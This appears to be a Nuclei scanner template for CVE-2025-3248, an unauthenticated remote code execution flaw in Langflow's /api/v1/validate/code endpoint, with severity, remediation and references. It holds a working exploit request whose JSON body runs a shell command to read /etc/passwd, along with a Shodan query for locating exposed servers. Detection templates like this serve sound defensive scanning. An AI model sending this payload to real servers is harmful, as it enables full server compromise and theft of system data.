id: CVE-2025-3248 info: name: Langflow AI - Unauthenticated Remote Code Execution author: nvn1729 severity: critical description: | Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint.A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code. impact: | Unauthenticated attackers can execute arbitrary code through crafted POST requests to the /api/v1/validate/code endpoint, achieving complete server compromise. remediation: | Upgrade to Langflow version 1.3.0 or later that properly validates user input before passing it to code execution functions. reference: - https://github.com/langflow-ai/langflow/pull/6911 - https://github.com/langflow-ai/langflow/releases/tag/1.3.0 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-3248 cwe-id: CWE-306 epss-score: 0.92665 epss-percentile: 0.99759 metadata: verified: true max-request: 1 shodan-query: html:"Langflow" tags: cve,cve2025,python,rce,injection,kev,langflow,vkev,vuln http: - raw: - | POST /api/v1/validate/code HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"cat\", \"/etc/passwd\"]))')\ndef foo():\n pass"} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: content_type words: - "application/json" - type: status status: - 200 # digest: 4b0a0048304602210095fe0c8891d16ef6f724a402c5c5b86f39c6fec2d45d21a522d7660e380d168c022100c4156adaf0b83a0bdb6c08f91546520c9fdccff1afa166e5d95a0d3b9799099f:922c64590222798bb761d5b6d8e72950